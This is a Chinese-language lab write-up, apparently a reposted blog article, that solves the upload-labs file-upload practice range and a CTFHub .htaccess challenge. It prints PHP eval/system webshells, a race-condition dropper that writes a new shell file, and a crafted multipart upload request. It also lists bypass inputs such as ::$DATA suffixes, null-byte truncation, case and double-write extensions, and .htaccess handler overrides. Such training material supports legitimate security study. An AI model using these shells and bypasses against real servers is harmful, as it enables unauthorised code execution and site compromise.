当前位置:   article > 正文

upload-labs靶场搭建+题目解答_文件上传靶场搭建时php版本

文件上传靶场搭建时php版本

目录

upload-labs靶场搭建

upload-labs题目

php基础木马

 黑名单绕过(规定有些类型不通过)

Pass-01 

 Pass-02

 Pass-03

CtfHub-htaccess

  Pass-05

   Pass-06

   Pass-07

   Pass-08

   Pass-09

   Pass-10

   Pass-11

   Pass-20

白名单绕过(只允许规定的类型通过)

   Pass-12

   Pass-13

   Pass-14

   Pass-15

   Pass-16

   Pass-17

   Pass-21

条件竞争

   Pass-18

   Pass-19


upload-labs靶场搭建

 

upload-labs题目

php基础木马

  1. <?php
  2. eval($_REQUEST[a]);
  3. ?>
  1. <?php
  2. system($_REQUEST[a]);
  3. ?>

 黑名单绕过(规定有些类型不通过)

Pass-01 

上传jpg文件,抓包后修改后缀为php

 复制路径

 在浏览器地址后粘贴刚刚复制的内容输入?a=phpinfo();

 Pass-02

 上传php文件

 修改Content-Type为image/jpeg

  复制路径

  在浏览器地址后粘贴刚刚复制的内容输入?a=phpinfo();

 Pass-03

修改后缀为.php1 .php2 .php3 .php4 .phtml

条件利用苛刻需要开启SSI

apache配置文件httpd.conf中有如下配置

AddType application/x-httpd-php .php .phtml

CtfHub-htaccess

htaccess文件有用的条件

1、php5.6以下不带nts的版本  无该版本-无法复现

2、黑名单中未过滤 .htaccess

3、apache配置文件httpd.conf中启用了AllowOverride All

AllowOverride None

改为

AllowOverride ALL

4、服务端未处理文件名(否则上传到htaccess到目录下成为其它文件名则不奏效)

内容:

AddType application/x-httpd-php .jpg

后门:

<FilesMatch "conf"> 

SetHandler application/x-httpd-php 

</FilesMatch>

上传jpg文件 

上传文件 

 

进行抓包,修改后缀,修改内容

 内容修改为:AddType application/x-httpd-php .jpg

 查看文件上传成功

输入地址,复制

 将复制的地址粘贴到蚁剑

在html目录上找到flag

  Pass-05

. .逻辑绕过

后缀为.php. .

 上传php文件,修改后缀,在后面加上. .

 

 

   Pass-06

后缀大小写绕过

 上传php文件,修改后缀,改变大小写

   Pass-07

首尾未去空

123.php 最后加个空格

 

   Pass-08

尾部未删除点

.php. 即可

 

   Pass-09

windows文件流,没有删除::$DATA

在使用NTFS格式的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名

例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

.php::$DATA

 

 

   Pass-10

同5题

.php. .

 

   Pass-11

删除匹配的后缀,双写绕过

7.PphpHP

 

   Pass-20

move_uploaded_file()特性,忽略文件末尾的/.

123123.php/. 即可绕过

上传jpg文件 ,抓包后修改save_name的后缀

 

白名单绕过(只允许规定的类型通过)

   Pass-12

php5.5.9nts

GET型00截断

save_path=../upload/141.php%00.jpg

post里面放1.jpg

在get处输入 123.php%00.jpg

 可以查看到添加成功

 在后台查询到123.php的文件

   Pass-13

php5.5.9nts

POST型00截断

save_path=../upload/141.phpa.jpg a改成00

filename仍是.jpg

 在该处输入123.phpa.jpg,注意该处输入为a,方便寻找

发送到Repeater,在Hex处寻找61, 将刚刚a处的61,改为00,回车

可以查看到添加成功

  在后台查询到1232.php的文件

   Pass-14

图片马制作,需另外配合文件包含漏洞

copy 1.jpg/b + 123.php/a hack1.jpg

 

   Pass-15

getimagesize函数绕过,同14

   Pass-16

需要php开启exif_imagetype()函数

同14

   Pass-17

二次渲染,检查上传前后图片的内容并更改

环境有问题、可忽略不做

同14

   Pass-21

  1. CTF题目,考点是explode分割数组
  2. Content-Disposition: form-data; name="upload_file"; filename="a.jpg"
  3. Content-Type: image/jpeg
  4. <?php eval($_REQUEST[a]);?>
  5. ------WebKitFormBoundaryqyfBEj3alReo3OMK
  6. Content-Disposition: form-data; name="save_name[0]"
  7. upload-20.php
  8. ------WebKitFormBoundaryqyfBEj3alReo3OMK
  9. Content-Disposition: form-data; name="save_name[2]"
  10. jpg
  11. ------WebKitFormBoundaryqyfBEj3alReo3OMK
  12. Content-Disposition: form-data; name="submit"
  13. 上传
  14. ------WebKitFormBoundaryqyfBEj3alReo3OMK--

 

条件竞争

   Pass-18

条件竞争,服务器会将上传的php文件删除。

同时进行上传爆破,和访问爆破即可。

<?php fputs(fopen("a.php", "w"), '<?php eval($_REQUEST[1]);?>'); ?>

上传php文件

 进行抓包,传到intruder,进行爆破

 将里面内容更改, 对随意的位置进行爆破

 

 设置线程数

 对upload/4.php进行抓包

 抓到的包发送去爆破

 对随意的位置进行爆破

 设置参数

 设置线程数

 最后查到后台拆创建了一个新文件为刚刚命令创建的文件a.php

   Pass-19

条件竞争,通过上传图片马配合其他漏洞来做

<?php fputs(fopen("a.php", "w"), '<?php eval($_REQUEST[1]);?>'); ?>

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/503695
推荐阅读
相关标签
  

闽ICP备14008679号